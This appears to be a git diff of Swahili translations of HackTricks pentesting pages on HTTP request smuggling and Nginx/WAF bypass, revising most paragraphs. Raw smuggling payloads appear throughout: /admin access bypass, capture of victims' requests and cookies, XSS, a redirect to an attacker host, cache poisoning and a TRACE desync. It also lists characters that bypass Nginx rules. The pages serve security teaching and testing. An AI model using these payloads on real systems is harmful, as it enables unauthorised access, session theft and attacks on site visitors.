+Maranyingi, mabara ya mbele hutekeleza hatua za usalama, kuchunguza maombi yanayoingia. Hata hivyo, hatua hizi zinaweza kuzungukwa kwa kutumia Ufichuaji wa Maombi ya HTTP, kuruhusu ufikiaji usiohalali kwenye vituo vilivyozuiwa. Kwa mfano, kupata `/admin` kunaweza kuzuiliwa kwa nje, na mbara ya mbele ikizuia kwa bidii majaribio kama hayo. Hata hivyo, mbara hii inaweza kusahau kuchunguza maombi yaliyofichwa ndani ya ombi la HTTP lililofichwa, kuacha mwanya wa kuzunguka vizuizi hivi.
-Maranyingi, mabara ya mbele hutekeleza hatua za usalama, kuchunguza maombi yanayoingia. Hata hivyo, hatua hizi zinaweza kuzungukwa kwa kutumia Uvujaji wa Ombi la HTTP, kuruhusu ufikiaji usioruhusiwa kwenye maeneo yaliyozuiliwa. Kwa mfano, kupata `/admin` kunaweza kuzuiwa kwa nje, na mbara ya mbele ikizuia kwa bidii majaribio kama hayo. Hata hivyo, mbara hii inaweza kusahau kuchunguza maombi yaliyofichwa ndani ya ombi la HTTP lililovuja, kuacha mwanya wa kuzunguka vizuizi hivi.
-
-Fikiria mifano ifuatayo inayoonyesha jinsi Uvujaji wa Ombi la HTTP unaweza kutumika kuzunguka udhibiti wa usalama wa mbele, kwa kuzilenga hasa njia ya `/admin` ambayo kawaida hulindwa na mbara ya mbele:
+Fikiria mifano ifuatayo inayoonyesha jinsi Ufichuaji wa Maombi ya HTTP unaweza kutumika kuzunguka udhibiti wa usalama wa mbele, kwa kuzilenga hasa njia ya `/admin` ambayo kawaida hulindwa na mbara ya mbele:
**Mfano wa CL.TE**
```
@@ -277,7 +275,7 @@ Content-Length: 10
x=
```
-Katika shambulio la CL.TE, kichwa cha `Content-Length` kinatumika kwa ombi la awali, wakati ombi lililofichwa linatumia kichwa cha `Transfer-Encoding: chunked`. Proksi ya mbele inaprocess ombi la awali la `POST` lakini haiwezi kuchunguza ombi lililofichwa la `GET /admin`, kuruhusu ufikiaji usioruhusiwa kwenye njia ya `/admin`.
+Katika shambulio la CL.TE, kichwa cha `Content-Length` hutumika kwa ombi la awali, wakati ombi lililofichwa linatumia kichwa cha `Transfer-Encoding: chunked`. Mfumo wa mbele wa proksi huprocess ombi la awali la `POST` lakini hushindwa kuchunguza ombi lililofichwa la `GET /admin`, kuruhusu ufikiaji usioruhusiwa kwenye njia ya `/admin`.
**Mfano wa TE.CL**
```
@@ -295,13 +293,13 @@ a=x
0
```
-Kinyume chake, katika shambulio la TE.CL, ombi la kwanza la `POST` hutumia `Transfer-Encoding: chunked`, na ombi lililofichwa baadaye hupitishwa kulingana na kichwa cha `Content-Length`. Kama shambulio la CL.TE, mtoa huduma wa mbele hupuuza ombi lililofichwa la `GET /admin`, kwa kosa kutoa ufikivu kwa njia iliyozuiwa ya `/admin`.
+Kinyume chake, katika shambulio la TE.CL, ombi la kwanza la `POST` hutumia `Transfer-Encoding: chunked`, na ombi lililofichwa baadaye hupitishwa kulingana na kichwa cha `Content-Length`. Kama shambulio la CL.TE, mtoa huduma wa mbele hupuuza ombi lililofichwa la `GET /admin`, kwa bahati mbaya kutoa ufikivu kwa njia iliyozuiwa ya `/admin`.
-### Kufichua upya wa ombi la mbele la seva
+### Kufichua upya ombi la mbele la mbele
-Maombi mara nyingi hutumia **seva ya mbele** kurekebisha maombi yanayoingia kabla ya kuyapeleka kwa seva ya nyuma. Kubadilisha kawaida hujumuisha kuongeza vichwa, kama vile `X-Forwarded-For: `, kupeleka IP ya mteja kwa seva ya nyuma. Kuelewa mabadiliko haya ni muhimu, kwani inaweza kufunua njia za **kupita kinga** au **kufichua habari au vituo vilivyofichwa**.
+Maombi mara nyingi hutumia **seva ya mbele** kurekebisha maombi yanayoingia kabla ya kuyapeleka kwa seva ya nyuma. Kubadilisha kawaida kunajumuisha kuongeza vichwa, kama vile `X-Forwarded-For: `, kupeleka IP ya mteja kwa seva ya nyuma. Kuelewa mabadiliko haya kunaweza kuwa muhimu, kwani inaweza kufunua njia za **kipuuzi za ulinzi** au **kufunua habari au vituo vilivyofichwa**.
-Ili kuchunguza jinsi mtoa huduma anavyobadilisha ombi, tafuta parameter ya POST ambayo seva ya nyuma inarudisha kwenye jibu. Kisha, andika ombi, ukitumia parameter hii mwishoni, kama ifuatavyo:
+Ili kuchunguza jinsi mtoa huduma anavyobadilisha ombi, tafuta parameter ya POST ambayo seva ya nyuma inarudisha kwenye jibu. Kisha, tengeneza ombi, ukitumia parameter hii mwishoni, kama ifuatavyo:
```
POST / HTTP/1.1
Host: vulnerable-website.com
@@ -318,13 +316,13 @@ Content-Length: 100
search=
```
-Katika muundo huu, vipengele vya ombi vinavyofuata huongezwa baada ya `search=`, ambayo ni parameter inayoonekana katika jibu. Uwazi huu utafunua vichwa vya ombi la kufuata.
+Katika muundo huu, vipengele vya ombi vinavyofuata huongezwa baada ya `search=`, ambayo ni parameter inayorejelewa katika jibu. Urefu wa yaliyorejelewa utafunua vichwa vya ombi linalofuata.
-Ni muhimu kulinganisha kichwa cha `Content-Length` cha ombi lililofichwa na urefu halisi wa yaliyomo. Kuanzia na thamani ndogo na kuongeza polepole ni vyema, kwani thamani ya chini sana itakata data iliyofichwa, wakati thamani kubwa sana inaweza kusababisha ombi kushindwa.
+Ni muhimu kulinganisha kichwa cha `Content-Length` cha ombi lililofichwa na urefu halisi wa yaliyomo. Kuanzia na thamani ndogo na kuongeza polepole ni vyema, kwani thamani ndogo sana itakata data iliyorejelewa, wakati thamani kubwa sana inaweza kusababisha ombi kushindwa.
Mbinu hii pia inatumika katika muktadha wa udhaifu wa TE.CL, lakini ombi linapaswa kumalizika na `search=\r\n0`. Bila kujali wahusika wa mstari mpya, thamani zitaongezwa kwenye parameter ya utafutaji.
-Mbinu hii kimsingi inatumika kuelewa marekebisho ya ombi yaliyofanywa na wakala wa mbele, kimsingi kufanya uchunguzi wa kujielekeza.
+Mbinu hii kimsingi inatumika kuelewa mabadiliko ya ombi yaliyofanywa na mwendeshaji wa mbele, kimsingi kufanya uchunguzi wa kujielekeza.
### Kukamata maombi ya watumiaji wengine
@@ -350,20 +348,20 @@ Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=
```
-Katika kesi hii, **parameter ya maoni** inalenga kuhifadhi maudhui ndani ya sehemu ya maoni kwenye ukurasa ulio wazi kwa umma. Kwa hivyo, maudhui ya ombi la kufuatia yataonekana kama maoni.
+Katika hali hii, **parameter ya maoni** inalenga kuhifadhi maudhui ndani ya sehemu ya maoni kwenye ukurasa ulio wazi kwa umma. Kwa hivyo, maudhui ya ombi la kufuatia yataonekana kama maoni.
-Hata hivyo, mbinu hii ina vikwazo. Kwa ujumla, inakamata data hadi kufikia kizuizi cha parameter kilichotumika katika ombi lililosafirishwa. Kwa maingizo ya fomu zilizoorodheshwa kwenye URL, kizuizi hiki ni herufi ya `&`. Hii inamaanisha maudhui yaliyokamatwa kutoka kwa ombi la mtumiaji wa mwathiriwa yatasimama kwenye `&` ya kwanza, ambayo inaweza hata kuwa sehemu ya mfuatano wa utafutaji.
+Hata hivyo, mbinu hii ina vikwazo. Kwa ujumla, inakamata data hadi kufikia kizuizi cha parameter kilichotumika katika ombi lililosafirishwa. Kwa maingizo ya fomu zilizofungwa kwa URL, kizuizi hiki ni herufi ya `&`. Hii inamaanisha maudhui yaliyokamatwa kutoka kwa ombi la mtumiaji wa mwathiriwa yatasimama kwenye `&` ya kwanza, ambayo inaweza hata kuwa sehemu ya mfuatano wa utafutaji.
Zaidi ya hayo, ni muhimu kutambua kuwa njia hii pia inafaa na udhaifu wa TE.CL. Katika hali kama hizo, ombi linapaswa kumalizika na `search=\r\n0`. Bila kujali wahusika wa mstari mpya, thamani zitaongezwa kwenye parameter ya utafutaji.
-### Kutumia uchakachuaji wa ombi la HTTP kudanganya XSS iliyoreflektiwa
+### Kutumia uchomaji wa ombi la HTTP kudanganya XSS iliyorejelewa
-Uchakachuaji wa Ombi la HTTP unaweza kutumika kudanganya kurasa za wavuti zenye udhaifu wa **XSS iliyoreflektiwa**, kutoa faida kubwa:
+Uchomaji wa Ombi la HTTP unaweza kutumika kudanganya kurasa za wavuti zenye udhaifu wa **XSS iliyorejelewa**, ikitoa faida kubwa:
-* Mwingiliano na watumiaji lengwa **hauna hitajika**.
-* Inaruhusu kutumia XSS katika sehemu za ombi ambazo kawaida hazipatikani, kama vile vichwa vya ombi la HTTP.
+* Mwingiliano na watumiaji lengwa **haohitajiki**.
+* Inaruhusu kutumia XSS katika sehemu za ombi ambazo kawaida ni **vigumu kufikiwa**, kama vile vichwa vya ombi la HTTP.
-Katika mazingira ambapo tovuti inaweza kuathiriwa na XSS iliyoreflektiwa kupitia kichwa cha Mtumiaji, mzigo wa kufuatia unadhihirisha jinsi ya kutumia udhaifu huu:
+Katika hali ambapo tovuti inaweza kuathiriwa na XSS iliyorejelewa kupitia kichwa cha Mtumiaji, mzigo wa kufuatia unadhihirisha jinsi ya kutumia udhaifu huu:
```
POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
@@ -384,19 +382,17 @@ Content-Type: application/x-www-form-urlencoded
A=
```
-Payload hii imeundwa kwa kufaidika na udhaifu kwa:
+Payload hii imeundwa kuchexploit udhaifu kwa:
-1. Kuanzisha ombi la `POST`, linaloonekana kawaida, na kichwa cha `Transfer-Encoding: chunked` kuonyesha kuanza kwa smuggling.
-2. Kufuatiwa na `0`, ikionyesha mwisho wa mwili wa ujumbe wa chunked.
-3. Kisha, ombi la `GET` lililosafirishwa linajumuishwa, ambapo kichwa cha `User-Agent` kimeingizwa na script, ``, kuzindua XSS wakati server inapoprocess ombi hili linalofuata.
+1. Kuanzisha ombi la `POST`, linaloonekana kawaida, na kichwa cha `Transfer-Encoding: chunked` kuashiria kuanza kwa smuggling.
+2. Kufuatiwa na `0`, ikionyesha mwisho wa mwili wa ujumbe uliogawanywa kwa vipande.
+3. Kisha, ombi la `GET` lililosukumwa linaletwa, ambapo kichwa cha `User-Agent` kimeingizwa na script, ``, kuzindua XSS wakati server inapoprocess ombi hili linalofuata.
-Kwa kubadilisha `User-Agent` kupitia smuggling, payload inapita kwa kawaida kikwazo cha ombi, hivyo kutumia udhaifu wa Reflected XSS kwa njia isiyo ya kawaida lakini yenye ufanisi.
+Kwa kubadilisha `User-Agent` kupitia smuggling, payload inapita kwa kawaida kizuizi cha ombi, hivyo kuchexploit udhaifu wa Reflected XSS kwa njia isiyo ya kawaida lakini yenye ufanisi.
-### Kutumia smuggling ya ombi la HTTP kugeuza upya wa ndani kuwa upya wa wazi
+### Kuchexploit Migeuko ya Ndani kwa Kutumia HTTP Request Smuggling
-### Kufaidika na Upya wa Ndani kwa Kutumia Smuggling ya Ombi la HTTP
-
-Maombi mara nyingi hurekebisha kutoka kwa URL moja hadi nyingine kwa kutumia jina la mwenyeji kutoka kichwa cha `Host` katika URL ya upyaisho. Hii ni kawaida na seva za wavuti kama Apache na IIS. Kwa mfano, kuomba folda bila mstari wa mwisho husababisha upya kujumuisha mstari wa mwisho:
+Maombi mara nyingi hufanya migeuko kutoka kwa URL moja kwenda nyingine kwa kutumia jina la mwenyeji kutoka kichwa cha `Host` katika URL ya migeuko. Hii ni kawaida na seva za wavuti kama Apache na IIS. Kwa mfano, kuomba folda bila mstari wa mwisho husababisha migeuko kuwa na mstari wa mwisho:
```
GET /home HTTP/1.1
Host: normal-website.com
@@ -406,7 +402,7 @@ Matokeo ni:
HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/
```
-Ingawa inaonekana kuwa isiyo na madhara, tabia hii inaweza kudanganywa kwa kutumia upenyezaji wa ombi la HTTP ili kuwaongoza watumiaji kwenye tovuti ya nje. Kwa mfano:
+Ingawa inaonekana kuwa haina madhara, tabia hii inaweza kudanganywa kwa kutumia upachikaji wa maombi ya HTTP ili kuwaongoza watumiaji kwenye tovuti ya nje. Kwa mfano:
```
POST / HTTP/1.1
Host: vulnerable-website.com
@@ -420,7 +416,7 @@ GET /home HTTP/1.1
Host: attacker-website.com
Foo: X
```
-Hii ombi lililosafirishwa linaweza kusababisha ombi la mtumiaji linalofuata kusindika kupelekwa kwenye tovuti inayodhibitiwa na mshambuliaji:
+Hii ombi lililosafirishwa linaweza kusababisha ombi la mtumiaji lililopita kusukumwa kuelekea kwenye tovuti inayodhibitiwa na mshambuliaji:
```
GET /home HTTP/1.1
Host: attacker-website.com
@@ -432,19 +428,17 @@ Matokeo ni:
HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/
```
-Katika kesi hii, ombi la mtumiaji la faili ya JavaScript linatekwa. Mshambuliaji anaweza kudhoofisha mtumiaji kwa kutoa JavaScript yenye nia mbaya kama jibu.
+Katika kesi hii, ombi la mtumiaji la faili ya JavaScript linatekwa. Mshambuliaji anaweza kuhatarisha mtumiaji kwa kumtumikia JavaScript mbaya kama jibu.
-### Kutumia udukuzi wa ombi la HTTP kutekeleza sumu ya cache ya wavuti
+### Kutumia Uchafuzi wa Cache ya Wavuti kupitia Udukuzi wa Ombi la HTTP
-### Kutumia Udukuzi wa Sumu ya Cache ya Wavuti kupitia Udukuzi wa Ombi la HTTP
+Uchafuzi wa cache ya wavuti unaweza kutekelezwa ikiwa sehemu yoyote ya **miundombinu ya mbele ya wavuti inahifadhi maudhui**, kawaida kuboresha utendaji. Kwa kubadilisha jibu la seva, inawezekana **kuharibu cache**.
-Sumu ya cache ya wavuti inaweza kutekelezwa ikiwa sehemu yoyote ya **miundombinu ya mbele inahifadhi yaliyomo**, kawaida kuboresha utendaji. Kwa kubadilisha jibu la seva, inawezekana **kudhoofisha cache**.
+Awali, tuliona jinsi majibu ya seva yanaweza kubadilishwa ili kurudisha kosa la 404 (angalia [Mifano ya Msingi](./#basic-examples)). Vivyo hivyo, ni rahisi kudanganya seva kutoa maudhui ya `/index.html` kama jibu kwa ombi la `/static/include.js`. Kwa hivyo, maudhui ya `/static/include.js` yanabadilishwa kwenye cache na ile ya `/index.html`, ikifanya `/static/include.js` kuwa haipatikani kwa watumiaji, ikisababisha Uzuiaji wa Huduma (DoS) kwa uwezekano.
-Awali, tuliona jinsi majibu ya seva yanaweza kubadilishwa ili kurudisha kosa la 404 (angalia [Mifano ya Msingi](./#basic-examples)). Vivyo hivyo, ni rahisi kudanganya seva kutoa yaliyomo ya `/index.html` kama jibu kwa ombi la `/static/include.js`. Kwa hivyo, yaliyomo ya `/static/include.js` yanabadilishwa kwenye cache na ile ya `/index.html`, ikifanya `/static/include.js` kuwa haipatikani kwa watumiaji, na kusababisha Uzuiaji wa Huduma (DoS) kwa uwezekano.
+Mbinu hii inakuwa yenye nguvu hasa ikiwa **Udhaifu wa Kuelekeza Wazi** unagunduliwa au ikiwa kuna **uelekezaji kwenye wavuti kwenda kwa kuelekeza wazi**. Udhaifu kama huo unaweza kutumika kubadilisha maudhui yaliyohifadhiwa ya `/static/include.js` na skripti chini ya udhibiti wa mshambuliaji, kimsingi kuwezesha shambulio kubwa la Udukuzi wa Msalaba wa Wavuti (XSS) dhidi ya wateja wote wanaotaka `/static/include.js` iliyosasishwa.
-Mbinu hii inakuwa yenye nguvu hasa ikiwa **Udhaifu wa Kuelekeza Wazi** unagunduliwa au ikiwa kuna **uelekezaji kwenye wavuti kwenda kwa kuelekeza wazi**. Udhaifu kama huo unaweza kutumika kubadilisha yaliyomo yaliyohifadhiwa ya `/static/include.js` na skripti chini ya udhibiti wa mshambuliaji, kimsingi kuwezesha shambulio kubwa la Kuvuka Tovuti (XSS) dhidi ya wateja wote wanaotaka `/static/include.js` iliyosasishwa.
-
-Hapa chini ni mchoro wa kutumia **sumu ya cache ikichanganywa na uelekezaji wa wavuti kwenda kwa kuelekeza wazi**. lengo ni kubadilisha yaliyomo ya cache ya `/static/include.js` kutoa msimbo wa JavaScript uliodhibitiwa na mshambuliaji:
+Hapa chini ni mchoro wa kutumia **uchafuzi wa cache uliounganishwa na uelekezaji wa wavuti kwenda kwa kuelekeza wazi**. lengo ni kubadilisha maudhui ya cache ya `/static/include.js` kutumikia msimbo wa JavaScript uliodhibitiwa na mshambuliaji:
```
POST / HTTP/1.1
Host: vulnerable.net
@@ -462,18 +456,18 @@ Content-Length: 10
x=1
```
-Tafadhali kumbuka ombi lililofichwa linalolenga `/post/next?postId=3`. Ombi hili litaelekezwa kwa `/post?postId=4`, likitumia **Thamani ya Kichwa cha Mwenyeji** kubaini kikoa. Kwa kubadilisha **Kichwa cha Mwenyeji**, mshambuliaji anaweza kuuelekeza ombi kwenye kikoa chao (**kuelekeza kwa tovuti yao kwa kuelekeza wazi**).
+Tafadhali kumbuka ombi lililofichwa linalolenga `/post/next?postId=3`. Ombi hili litaelekezwa kwa `/post?postId=4`, likitumia **thamani ya kichwa cha Host** kubaini kikoa. Kwa kubadilisha **kichwa cha Host**, mshambuliaji anaweza kuuelekeza ombi kwenye kikoa chao (**kuelekeza kwa tovuti yao kwa kuelekeza wazi**).
-Baada ya **sumu ya soketi** kufanikiwa, **ombi la GET** kwa `/static/include.js` linapaswa kuanzishwa. Ombi hili litachafuliwa na ombi la awali la **kuelekeza kwa tovuti yao kwa kuelekeza wazi** na kuchukua maudhui ya skripti inayodhibitiwa na mshambuliaji.
+Baada ya **sumu ya soketi** kufanikiwa, **ombi la GET** kwa `/static/include.js` linapaswa kuanzishwa. Ombi hili litachafuliwa na ombi la awali la **kuelekeza kwa tovuti yao kwa kuelekeza wazi** na kupata maudhui ya skripti inayodhibitiwa na mshambuliaji.
Baadaye, ombi lolote kwa `/static/include.js` litahudumia maudhui yaliyohifadhiwa ya skripti ya mshambuliaji, ikizindua mashambulizi makubwa ya XSS.
-### Kutumia udanganyifu wa ombi la HTTP kutekeleza udanganyifu wa kuhifadhi wavuti
+### Kutumia udanganyifu wa ombi la HTTP kufanya udanganyifu wa kuhifadhi wavuti
> **Ni tofauti gani kati ya sumu ya kuhifadhi wavuti na udanganyifu wa kuhifadhi wavuti?**
>
> * Katika **sumu ya kuhifadhi wavuti**, mshambuliaji husababisha programu kuhifadhi baadhi ya maudhui mabaya kwenye hifadhi, na maudhui haya hutolewa kutoka kwenye hifadhi kwa watumiaji wengine wa programu.
-> * Katika **udanganyifu wa kuhifadhi wavuti**, mshambuliaji husababisha programu kuhifadhi baadhi ya maudhui nyeti yanayomilikiwa na mtumiaji mwingine kwenye hifadhi, na kisha mshambuliaji huchukua maudhui haya kutoka kwenye hifadhi.
+> * Katika **udanganyifu wa kuhifadhi wavuti**, mshambuliaji husababisha programu kuhifadhi baadhi ya maudhui nyeti yanayomilikiwa na mtumiaji mwingine kwenye hifadhi, na mshambuliaji kisha huchukua maudhui haya kutoka kwenye hifadhi.
Mshambuliaji huchora ombi lililofichwa linalopata maudhui nyeti yanayohusiana na mtumiaji. Fikiria mfano ufuatao:
```markdown
@@ -486,16 +480,99 @@ Mshambuliaji huchora ombi lililofichwa linalopata maudhui nyeti yanayohusiana na
`GET /private/messages HTTP/1.1`\
`Foo: X`
```
-Ikiwa ombi lililokwenda kwa siri linachafua kuingia kwa cache iliyokusudiwa kwa yaliyomo ya msingi (k.mf., `/someimage.png`), data nyeti ya mwathiriwa kutoka `/private/messages` inaweza kuingizwa chini ya kuingia cha cache ya yaliyomo ya msingi. Kufuatia hilo, mkaidi anaweza kupata data nyeti zilizohifadhiwa kwenye cache hizo.
+Ikiwa ombi lililokwepa linachafua kuingia kwa cache iliyokusudiwa kwa yaliyomo ya msingi (k.m., `/someimage.png`), data nyeti ya mwathiriwa kutoka `/private/messages` inaweza kuingizwa chini ya kuingia cha cache ya yaliyomo ya msingi. Kufuatia hivyo, mkaidi anaweza kupata data nyeti zilizohifadhiwa kwenye cache hizo.
-### Kutumia Silaha ya Udukuzi wa Ombi la HTTP na Kutengua Majibu ya HTTP
+### Kutumia TRACE kupitia Kuingiza Ombi la HTTP
-Je! Umepata udhaifu wa Udukuzi wa Ombi la HTTP na hujui jinsi ya kuutumia. Jaribu njia hii nyingine ya udukuzi:
+[**Katika chapisho hili**](https://portswigger.net/research/trace-desync-attack) inapendekezwa kwamba ikiwa seva ina njia ya TRACE imewezeshwa inaweza kuwa inawezekana kuitumia kwa Kuingiza Ombi la HTTP. Hii ni kwa sababu njia hii itaonyesha kichwa chochote kilichotumwa kwa seva kama sehemu ya mwili wa majibu. Kwa mfano:
+```
+TRACE / HTTP/1.1
+Host: example.com
+XSS:
+```
+Nitawasilisha jibu kama vile:
+```
+HTTP/1.1 200 OK
+Content-Type: message/http
+Content-Length: 115
+
+TRACE / HTTP/1.1
+Host: vulnerable.com
+XSS:
+X-Forwarded-For: xxx.xxx.xxx.xxx
+```
+Mfano wa jinsi ya kutumia tabia hii ni **kutumia kwanza ombi la HEAD**. Ombi hili litajibiwa na **vichwa tu vya ombi la GET** (**`Content-Type`** miongoni mwao). Na kisha **tumia mara moja baada ya HEAD ombi la TRACE**, ambalo litakuwa **linarudisha data iliyotumwa**.\
+Kwa kuwa jibu la HEAD litakuwa na kichwa cha `Content-Length`, **jibu la ombi la TRACE litachukuliwa kama mwili wa jibu la HEAD, hivyo kuirudisha data isiyojulikana** katika jibu. \
+Jibu hili litatumwa kwa ombi lifuatalo kupitia uhusiano, hivyo hii inaweza **kutumika katika faili ya JS iliyohifadhiwa kwa mfano kuingiza msimbo wa JS usiojulikana**.
+
+### Kutumia TRACE kupitia Uvunjaji wa Majibu ya HTTP
+
+Endelea kufuata [**chapisho hili**](https://portswigger.net/research/trace-desync-attack) inapendekeza njia nyingine ya kutumia mbinu ya TRACE. Kama ilivyoelezwa, kwa kusafirisha ombi la HEAD na ombi la TRACE ni **inawezekana kudhibiti baadhi ya data zilizorudishwa** katika jibu la ombi la HEAD. Urefu wa mwili wa ombi la HEAD kimsingi unatajwa katika kichwa cha Content-Length na unajumuisha jibu la ombi la TRACE.
+
+Hivyo basi, wazo jipya litakuwa kwamba, kwa kujua hii Content-Length na data iliyotolewa katika jibu la TRACE, ni inawezekana kufanya jibu la TRACE liwe na jibu sahihi la HTTP baada ya byte ya mwisho ya Content-Length, kuruhusu mshambuliaji kudhibiti kabisa ombi kwa jibu linalofuata (ambalo linaweza kutumika kufanya sumu ya cache).
+
+Mfano:
+```
+GET / HTTP/1.1
+Host: example.com
+Content-Length: 360
+
+HEAD /smuggled HTTP/1.1
+Host: example.com
+
+POST /reflect HTTP/1.1
+Host: example.com
+
+SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n
+Content-Type: text/html\r\n
+Cache-Control: max-age=1000000\r\n
+Content-Length: 44\r\n
+\r\n
+
+```
+Itakuwaleta majibu haya (tazama jinsi jibu la HEAD lina Content-Length linalofanya jibu la TRACE kuwa sehemu ya mwili wa HEAD na mara tu Content-Length ya HEAD inapoisha, jibu sahihi la HTTP linasafirishwa):
+```
+HTTP/1.1 200 OK
+Content-Type: text/html
+Content-Length: 0
+
+HTTP/1.1 200 OK
+Content-Type: text/html
+Content-Length: 165
+
+HTTP/1.1 200 OK
+Content-Type: text/plain
+Content-Length: 243
+
+SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok
+Content-Type: text/html
+Cache-Control: max-age=1000000
+Content-Length: 50
+
+
+```
+### Kutumia Silaha ya Udukuzi wa Ombi la HTTP na Kutengeneza Kutofautisha Majibu ya HTTP
+
+Je, umepata udhaifu wa Udukuzi wa Ombi la HTTP na hujui jinsi ya kuutumia. Jaribu njia hizi nyingine za udukuzi:
{% content-ref url="../http-response-smuggling-desync.md" %}
[http-response-smuggling-desync.md](../http-response-smuggling-desync.md)
{% endcontent-ref %}
+### Njia Nyingine za Udukuzi wa Ombi la HTTP
+
+* Udukuzi wa Ombi la HTTP kwenye Kivinjari (Upande wa Mteja)
+
+{% content-ref url="browser-http-request-smuggling.md" %}
+[browser-http-request-smuggling.md](browser-http-request-smuggling.md)
+{% endcontent-ref %}
+
+* Udukuzi wa Ombi katika Kupunguza Viwango vya HTTP/2
+
+{% content-ref url="request-smuggling-in-http-2-downgrades.md" %}
+[request-smuggling-in-http-2-downgrades.md](request-smuggling-in-http-2-downgrades.md)
+{% endcontent-ref %}
+
## Skripti za Turbo Intruder
### CL.TE
@@ -590,7 +667,7 @@ table.add(req)
* [https://github.com/gwen001/pentest-tools/blob/master/smuggler.py](https://github.com/gwen001/pentest-tools/blob/master/smuggler.py)
* [https://github.com/defparam/smuggler](https://github.com/defparam/smuggler)
* [https://github.com/Moopinger/smugglefuzz](https://github.com/Moopinger/smugglefuzz)
-* [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): Zana hii ni Fuzzer ya HTTP iliyo na msingi wa sarufi inayoweza kutumika kutambua tofauti za udukuzi wa ombi la kutatanisha.
+* [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): Zana hii ni Fuzzer ya HTTP iliyojengwa kulingana na sarufi inayoweza kutumika kupata tofauti za udukuzi wa ombi la kutatanisha.
## Marejeo
@@ -601,10 +678,11 @@ table.add(req)
* [https://github.com/haroonawanofficial/HTTP-Desync-Attack/](https://github.com/haroonawanofficial/HTTP-Desync-Attack/)
* [https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html](https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html)
* [https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/](https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/)
+* [https://portswigger.net/research/trace-desync-attack](https://portswigger.net/research/trace-desync-attack)
-Jifunze udukuzi wa AWS kutoka sifuri hadi shujaa nahtARTE (HackTricks AWS Red Team Expert)!
+Jifunze kuhusu udukuzi wa AWS kutoka sifuri hadi shujaa nahtARTE (HackTricks AWS Red Team Expert)!
Njia nyingine za kusaidia HackTricks:
diff --git a/pentesting-web/proxy-waf-protections-bypass.md b/pentesting-web/proxy-waf-protections-bypass.md
index 97c843d16..f54400dfe 100644
--- a/pentesting-web/proxy-waf-protections-bypass.md
+++ b/pentesting-web/proxy-waf-protections-bypass.md
@@ -1,4 +1,4 @@
-# Kupitisha Ulinzi wa Proksi / WAF
+# Kupitisha Kinga za Proxy / WAF
@@ -6,26 +6,124 @@
Njia nyingine za kusaidia HackTricks:
-* Ikiwa unataka kuona **kampuni yako inayotangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
-* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
-* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Jiunge na** π¬ [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** π¦ [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Shiriki mbinu zako za kudukua kwa kuwasilisha PR kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
+* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
+* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
+* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
+* **Jiunge na** π¬ [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** π¦ [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
+* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
-Angalia ukurasa ufuatao kuona jinsi ya **kupitisha WAF kwa kudhulumu kutofautiana kwa wapangaji wa HTTP: [https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)**
+## Kupitisha Sheria za Nginx ACL kwa Kudhibiti Jina la Njia
+
+Mbinu [kutoka kwa utafiti huu](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies).
+
+Mfano wa sheria ya Nginx:
+```plaintext
+location = /admin {
+deny all;
+}
+
+location = /admin/ {
+deny all;
+}
+```
+Kwa kuzuia upitishaji wa Nginx hufanya normalizesheni ya njia kabla ya kuichunguza. Hata hivyo, ikiwa seva ya nyuma inafanya normalizesheni tofauti (kuondoa herufi ambazo nginx haiondoi) inaweza kuwa inawezekana kuzidisha ulinzi huu.
+
+### **NodeJS - Express**
+
+| Nginx Version | **Node.js Bypass Characters** |
+| ------------- | ----------------------------- |
+| 1.22.0 | `\xA0` |
+| 1.21.6 | `\xA0` |
+| 1.20.2 | `\xA0`, `\x09`, `\x0C` |
+| 1.18.0 | `\xA0`, `\x09`, `\x0C` |
